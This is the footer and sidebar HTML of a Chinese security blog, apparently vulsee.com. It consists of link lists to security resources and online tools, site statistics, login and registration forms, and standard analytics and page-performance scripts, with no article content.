<li><a href="https://cxsecurity.com/" rel="noopener" target="_blank">CXSecurity</a></li>
<li><a href="http://find-sec-bugs.github.io/bugs.htm" rel="noopener" target="_blank">find-sec-bugs</a></li>
<li><a href="https://mrxn.net/" rel="noopener" title="Mrxn&#8217;s Blog是一个关注网络安全、热爱黑客技术，收集/发表优秀技术文章、工具的个人博客" target="_blank">Mrxn&#039;s Blog</a></li>
<li><a href="https://osint.link/" rel="noopener" target="_blank">OSINT-工具和资源</a></li>
<li><a href="https://ptestmethod.readthedocs.io" rel="noopener" target="_blank">ptestmethod</a></li>
<li><a href="https://www.sec-wiki.com/" rel="noopener" target="_blank">sec-wiki</a></li>
<li><a href="https://securiteam.com/" rel="noopener" target="_blank">SecuriTeam</a></li>
<li><a href="https://pentest.com.tr/" rel="noopener" target="_blank">Self-Improvement to Ethical Hacking</a></li>
<li><a href="http://wy.zone.ci" rel="noopener" title="WOOYUN-乌云历史漏洞查询" target="_blank">乌云历史漏洞查询</a></li>
<li><a href="http://anyun.org/" rel="noopener" title="专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。" target="_blank">安云网</a></li>
<li><a href="http://www.panda.tw/" rel="acquaintance noopener" title="我是熊猫哥&#8217;s Blog" target="_blank">我是熊猫哥&#039;s Blog</a></li>
<li><a href="https://bithack.io/" rel="noopener" target="_blank">通证化安全生态技术社区</a></li>

	</ul>
</div>
<div  class="widget widget_links"><h3>工具</h3>
	<ul class='xoxo blogroll'>
<li><a href="http://ctf.ssleye.com/aaencode.html" rel="noopener" target="_blank">AAencode</a></li>
<li><a href="https://unbug.github.io/codelf/" rel="noopener" target="_blank">codelf</a></li>
<li><a href="https://qqe2.com/cron" rel="noopener" target="_blank">cron表达式在线生成</a></li>
<li><a href="https://cirt.net/passwords" rel="noopener" target="_blank">default pwd</a></li>
<li><a href="http://vulsee.com/tools/jother/index.htm" rel="noopener" target="_blank">J other编码工具</a></li>
<li><a href="https://www.w3cschool.cn/regexp/x9hf1pq9.html" rel="noopener" target="_blank">JAVA正则表达式语法示例与语法大全</a></li>
<li><a href="http://www.jsfuck.com/" rel="noopener" target="_blank">jsfuck</a></li>
<li><a href="https://www.objectif-securite.ch/ophcrack" rel="noopener" target="_blank">ophcrack</a></li>
<li><a href="http://vulsee.com/tools/shiroDe/shiroDecrypt.html" rel="noopener" target="_blank">shiro在线解密</a></li>
<li><a href="http://vulsee.com/tools/websocket_debug/" rel="noopener" target="_blank">websocket调试工具</a></li>
<li><a href="http://xip.io/" rel="noopener" target="_blank">wildcard DNS</a></li>
<li><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet" rel="noopener" target="_blank">XSS-cheat-sheet</a></li>
<li><a href="http://xssor.io/#ende" rel="noopener" target="_blank">XSSOR</a></li>
<li><a href="https://support.huawei.com/onlinetoolweb/pqt/index.jsp" rel="noopener" target="_blank">华为默认账号/密码查询工具</a></li>
<li><a href="https://censys.io/" rel="noopener" target="_blank">历史域名解析记录查询</a></li>
<li><a href="http://vulsee.com/tools/online-decode/" rel="noopener" target="_blank">在线加密解密+编码工具</a></li>
<li><a href="http://www.jackson-t.ca/runtime-exec-payloads.html" rel="noopener" target="_blank">在线命令转码</a></li>
<li><a href="http://vulsee.com/tools/xss/index.html" rel="noopener" title="异类XSS" target="_blank">异类XSS</a></li>
<li><a href="https://tool.vulsee.com" rel="noopener" target="_blank">微慑信息工具网</a></li>
<li><a href="https://www.transparenttextures.com/" rel="noopener" target="_blank">非常好看的纹理背景图</a></li>
<li><a href="http://vulsee.com/tools/transparenttextures/index.html">颜色调试</a></li>

	</ul>
</div>
<div  class="widget widget_links"><h3>特效</h3>
	<ul class='xoxo blogroll'>
<li><a href="http://vulsee.com/tools/youqucrypt/" rel="noopener" target="_blank">有趣加密解密</a></li>
<li><a href="http://vulsee.com/tools/tx1/" rel="noopener" target="_blank">转圈1</a></li>

	</ul>
</div>
<div data-wpr-lazyrender="1" class="widget widget_ui_statistics"><h3>本站信息</h3><ul><li><strong>日志总数：</strong>3681</li><li><strong>评论总数：</strong>682</li><li><strong>标签总数：</strong>4966</li><li><strong>最后更新：</strong>2026-05-12</li></ul></div><div data-wpr-lazyrender="1" class="widget widget_meta"><h3>其他操作</h3>
		<ul>
						<li><a href="https://vulsee.com/wp-login.php">登录</a></li>
			<li><a href="https://vulsee.com/feed">条目 feed</a></li>
			<li><a href="https://vulsee.com/comments/feed">评论 feed</a></li>

			<li><a href="https://cn.wordpress.org/">WordPress.org</a></li>
		</ul>

		</div><div data-wpr-lazyrender="1" class="widget widget_text"><h3>赞助本站</h3>			<div class="textwidget"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="/images/alipay.jpg"><noscript><img src="/images/alipay.jpg"></noscript></div>
		</div></div></section>

<div data-wpr-lazyrender="1" class="branding">
	<div  class="container">
		<h2>微慑信息网 专注工匠精神</h2>
		<h4>微慑信息网-VulSee.com-关注前沿安全态势,聚合网络安全漏洞信息,分享安全文档案例</h4>
		<a target="_blank" class="btn btn-primary" href="//vulsee.com">访问我们<i class="tbfa">&#xe87e;</i></a><a target="_blank" class="btn btn-primary" href="Email:vulsee.com@gmail.com">联系我们<i class="tbfa">&#xe87e;</i></a>	</div>
</div><footer data-wpr-lazyrender="1" class="footer">
	<div  class="container">
						<p>&copy; 2010-2026 &nbsp; <a href="https://vulsee.com">微慑信息网-VulSee.com</a> &nbsp; <a href="http://vulsee.com/sitemap.xml">网站地图</a><p><a href="http://www.miitbeian.gov.cn">鄂ICP备14020831号</a></p></p>
		请求次数：115 次，加载用时：6.522 秒，内存占用：66.69 MB		<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?638e8d202526c517af44fdabbe6fc9c7";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>

	</div>
</footer>
<div  class="rewards-popover-mask" data-event="rewards-close"></div><div  class="rewards-popover"><h3>觉得文章有用就打赏一下文章作者</h3><h5>非常感谢你的打赏，我们将继续提供更多优质内容，让我们一起创建更加美好的网络世界！</h5><div  class="rewards-popover-item"><h4>支付宝扫一扫</h4><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="//vulsee.com/images/alipay.jpg"><noscript><img src="//vulsee.com/images/alipay.jpg"></noscript></div><div  class="rewards-popover-item"><h4>微信扫一扫</h4><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" data-lazy-src="//vulsee.com/images/alipay.jpg"><noscript><img src="//vulsee.com/images/alipay.jpg"></noscript></div><span class="rewards-popover-close" data-event="rewards-close"><i class="tbfa">&#xe606;</i></span></div>
<div  class="karbar karbar-rb"><ul><li class="karbar-totop"><a rel="nofollow" href="javascript:(TBUI.scrollTo());"><i class="tbfa">&#xe613;</i><span>回顶部</span></a></li></ul></div>
<div  class="sign">
		<div  class="sign-mask"></div>
		<div  class="sign-tips"></div>
		<form class="-in">
			<h4><small class="signup-loader">切换注册</small>登录</h4>
			<div class="-item">
				<label>用户名或邮箱</label>
				<input type="text" name="username" class="ipt" placeholder="用户名或邮箱">
			</div>
			<div class="-item">
				<a href="https://vulsee.com/about">找回密码</a>
				<label>密码</label>
				<input type="password" name="password" class="ipt" placeholder="登录密码">
			</div>
			<div class="sign-submit">
				<input type="button" class="btn btn-primary btn-block signinsubmit-loader" name="submit" value="登录" id="site_login">
				<input type="hidden" name="action" value="signin">
				<label><input type="checkbox" checked="checked" name="remember" value="forever">记住我</label>
			</div>
		</form>
		<form class="-up">
			<h4><small class="signin-loader">切换登录</small>注册</h4>
			<div class="-item">
				<label>用户名</label>
				<input type="text" name="name" class="ipt" placeholder="设置用户名">
			</div>
			<div class="-item">
				<label>邮箱</label>
				<input type="email" name="email" class="ipt" placeholder="邮箱">
			</div>
			<div class="-item -item-yzm">
				<label>邮箱验证码</label>
				<input type="text" name="captcha" class="ipt" placeholder="验证码">
				<input type="button" class="btn btn-default signcaptcha-loader" value="获取验证码">
			</div>
			<div class="-item">
				<label>设置密码</label>
				<input type="password" name="password" class="ipt" placeholder="设置密码">
			</div>
			<div class="sign-submit">
				<input type="button" class="btn btn-primary btn-block signupsubmit-loader" name="submit" value="快速注册" id="site_register">
				<input type="hidden" name="action" value="signup">
			</div>
		</form>
	</div>
<script>window.TBUI={"www":"https:\/\/vulsee.com","uri":"https:\/\/vulsee.com\/wp-content\/themes\/dux","ajaxurl":"https:\/\/vulsee.com\/wp-admin\/admin-ajax.php","ver":"8.7","roll":"1 2","copyoff":0,"ajaxpager":"8","fullimage":"1","captcha":"turnstile","captcha_comment":1,"table_scroll_m":1,"table_scroll_w":"800","pre_color":1,"pre_copy":1,"turnstile_key":"0x4AAAAAAAbjGsGyGBYMxp7x"}</script>
<script data-minify="1" type="text/javascript" src="https://vulsee.com/wp-content/cache/min/1/wp-content/plugins/Pure-Highlightjs_1.0/highlight/highlight.pack.js?ver=1768456623" id="pure-highlightjs-pack-js" data-rocket-defer defer></script>
<script data-minify="1" type="text/javascript" src="https://vulsee.com/wp-content/cache/min/1/wp-content/plugins/smartideo/static/smartideo.js?ver=1768456623" id="smartideo_js-js" data-rocket-defer defer></script>
<script type="text/javascript" id="wp-postviews-cache-js-extra">
/* <![CDATA[ */
var viewsCacheL10n = {"admin_ajax_url":"https:\/\/vulsee.com\/wp-admin\/admin-ajax.php","nonce":"4dcaf5a339","post_id":"16637"};
/* ]]> */
</script>
<script data-minify="1" type="text/javascript" src="https://vulsee.com/wp-content/cache/min/1/wp-content/plugins/wp-postviews/postviews-cache.js?ver=1768456638" id="wp-postviews-cache-js" data-rocket-defer defer></script>
<script type="text/javascript" id="rocket-browser-checker-js-after">
/* <![CDATA[ */
"use strict";var _createClass=function(){function defineProperties(target,props){for(var i=0;i<props.length;i++){var descriptor=props[i];descriptor.enumerable=descriptor.enumerable||!1,descriptor.configurable=!0,"value"in descriptor&&(descriptor.writable=!0),Object.defineProperty(target,descriptor.key,descriptor)}}return function(Constructor,protoProps,staticProps){return protoProps&&defineProperties(Constructor.prototype,protoProps),staticProps&&defineProperties(Constructor,staticProps),Constructor}}();function _classCallCheck(instance,Constructor){if(!(instance instanceof Constructor))throw new TypeError("Cannot call a class as a function")}var RocketBrowserCompatibilityChecker=function(){function RocketBrowserCompatibilityChecker(options){_classCallCheck(this,RocketBrowserCompatibilityChecker),this.passiveSupported=!1,this._checkPassiveOption(this),this.options=!!this.passiveSupported&&options}return _createClass(RocketBrowserCompatibilityChecker,[{key:"_checkPassiveOption",value:function(self){try{var options={get passive(){return!(self.passiveSupported=!0)}};window.addEventListener("test",null,options),window.removeEventListener("test",null,options)}catch(err){self.passiveSupported=!1}}},{key:"initRequestIdleCallback",value:function(){!1 in window&&(window.requestIdleCallback=function(cb){var start=Date.now();return setTimeout(function(){cb({didTimeout:!1,timeRemaining:function(){return Math.max(0,50-(Date.now()-start))}})},1)}),!1 in window&&(window.cancelIdleCallback=function(id){return clearTimeout(id)})}},{key:"isDataSaverModeOn",value:function(){return"connection"in navigator&&!0===navigator.connection.saveData}},{key:"supportsLinkPrefetch",value:function(){var elem=document.createElement("link");return elem.relList&&elem.relList.supports&&elem.relList.supports("prefetch")&&window.IntersectionObserver&&"isIntersecting"in IntersectionObserverEntry.prototype}},{key:"isSlowConnection",value:function(){return"connection"in navigator&&"effectiveType"in navigator.connection&&("2g"===navigator.connection.effectiveType||"slow-2g"===navigator.connection.effectiveType)}}]),RocketBrowserCompatibilityChecker}();
/* ]]> */
</script>
<script type="text/javascript" id="rocket-preload-links-js-extra">
/* <![CDATA[ */
var RocketPreloadLinksConfig = {"excludeUris":"\/(?:.+\/)?feed(?:\/(?:.+\/?)?)?$|\/(?:.+\/)?embed\/|\/(index.php\/)?(.*)wp-json(\/.*|$)|\/refer\/|\/go\/|\/recommend\/|\/recommends\/","usesTrailingSlash":"","imageExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php","fileExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php|html|htm","siteUrl":"https:\/\/vulsee.com","onHoverDelay":"100","rateThrottle":"3"};
/* ]]> */
</script>
<script type="text/javascript" id="rocket-preload-links-js-after">
/* <![CDATA[ */
(function() {
"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e=function(){function i(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}return function(e,t,n){return t&&i(e.prototype,t),n&&i(e,n),e}}();function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var t=function(){function n(e,t){i(this,n),this.browser=e,this.config=t,this.options=this.browser.options,this.prefetched=new Set,this.eventTime=null,this.threshold=1111,this.numOnHover=0}return e(n,[{key:"init",value:function(){!this.browser.supportsLinkPrefetch()||this.browser.isDataSaverModeOn()||this.browser.isSlowConnection()||(this.regex={excludeUris:RegExp(this.config.excludeUris,"i"),images:RegExp(".("+this.config.imageExt+")$","i"),fileExt:RegExp(".("+this.config.fileExt+")$","i")},this._initListeners(this))}},{key:"_initListeners",value:function(e){-1<this.config.onHoverDelay&&document.addEventListener("mouseover",e.listener.bind(e),e.listenerOptions),document.addEventListener("mousedown",e.listener.bind(e),e.listenerOptions),document.addEventListener("touchstart",e.listener.bind(e),e.listenerOptions)}},{key:"listener",value:function(e){var t=e.target.closest("a"),n=this._prepareUrl(t);if(null!==n)switch(e.type){case"mousedown":case"touchstart":this._addPrefetchLink(n);break;case"mouseover":this._earlyPrefetch(t,n,"mouseout")}}},{key:"_earlyPrefetch",value:function(t,e,n){var i=this,r=setTimeout(function(){if(r=null,0===i.numOnHover)setTimeout(function(){return i.numOnHover=0},1e3);else if(i.numOnHover>i.config.rateThrottle)return;i.numOnHover++,i._addPrefetchLink(e)},this.config.onHoverDelay);t.addEventListener(n,function e(){t.removeEventListener(n,e,{passive:!0}),null!==r&&(clearTimeout(r),r=null)},{passive:!0})}},{key:"_addPrefetchLink",value:function(i){return this.prefetched.add(i.href),new Promise(function(e,t){var n=document.createElement("link");n.rel="prefetch",n.href=i.href,n.onload=e,n.onerror=t,document.head.appendChild(n)}).catch(function(){})}},{key:"_prepareUrl",value:function(e){if(null===e||"object"!==(void 0===e?"undefined":r(e))||!1 in e||-1===["http:","https:"].indexOf(e.protocol))return null;var t=e.href.substring(0,this.config.siteUrl.length),n=this._getPathname(e.href,t),i={original:e.href,protocol:e.protocol,origin:t,pathname:n,href:t+n};return this._isLinkOk(i)?i:null}},{key:"_getPathname",value:function(e,t){var n=t?e.substring(this.config.siteUrl.length):e;return n.startsWith("/")||(n="/"+n),this._shouldAddTrailingSlash(n)?n+"/":n}},{key:"_shouldAddTrailingSlash",value:function(e){return this.config.usesTrailingSlash&&!e.endsWith("/")&&!this.regex.fileExt.test(e)}},{key:"_isLinkOk",value:function(e){return null!==e&&"object"===(void 0===e?"undefined":r(e))&&(!this.prefetched.has(e.href)&&e.origin===this.config.siteUrl&&-1===e.href.indexOf("?")&&-1===e.href.indexOf("#")&&!this.regex.excludeUris.test(e.href)&&!this.regex.images.test(e.href))}}],[{key:"run",value:function(){"undefined"!=typeof RocketPreloadLinksConfig&&new n(new RocketBrowserCompatibilityChecker({capture:!0,passive:!0}),RocketPreloadLinksConfig).init()}}]),n}();t.run();
}());
/* ]]> */
</script>
<script data-minify="1" type="text/javascript" src="https://vulsee.com/wp-content/cache/min/1/wp-content/themes/dux/assets/js/loader.js?ver=1768456623" id="loader-js" data-rocket-defer defer></script>
<script>window.lazyLoadOptions=[{elements_selector:"img[data-lazy-src],.rocket-lazyload",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,callback_loaded:function(element){if(element.tagName==="IFRAME"&&element.dataset.rocketLazyload=="fitvidscompatible"){if(element.classList.contains("lazyloaded")){if(typeof window.jQuery!="undefined"){if(jQuery.fn.fitVids){jQuery(element).parent().fitVids()}}}}}},{elements_selector:".rocket-lazyload",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,}];window.addEventListener('LazyLoad::Initialized',function(e){var lazyLoadInstance=e.detail.instance;if(window.MutationObserver){var observer=new MutationObserver(function(mutations){var image_count=0;var iframe_count=0;var rocketlazy_count=0;mutations.forEach(function(mutation){for(var i=0;i<mutation.addedNodes.length;i++){if(typeof mutation.addedNodes[i].getElementsByTagName!=='function'){continue}
if(typeof mutation.addedNodes[i].getElementsByClassName!=='function'){continue}
images=mutation.addedNodes[i].getElementsByTagName('img');is_image=mutation.addedNodes[i].tagName=="IMG";iframes=mutation.addedNodes[i].getElementsByTagName('iframe');is_iframe=mutation.addedNodes[i].tagName=="IFRAME";rocket_lazy=mutation.addedNodes[i].getElementsByClassName('rocket-lazyload');image_count+=images.length;iframe_count+=iframes.length;rocketlazy_count+=rocket_lazy.length;if(is_image){image_count+=1}
if(is_iframe){iframe_count+=1}}});if(image_count>0||iframe_count>0||rocketlazy_count>0){lazyLoadInstance.update()}});var b=document.getElementsByTagName("body")[0];var config={childList:!0,subtree:!0};observer.observe(b,config)}},!1)</script><script data-no-minify="1" async src="https://vulsee.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js"></script></body>
</html>
<!-- This website is like a Rocket, isn't it? Performance optimized by WP Rocket. Learn more: https://wp-rocket.me - Debug: cached@1779226886 -->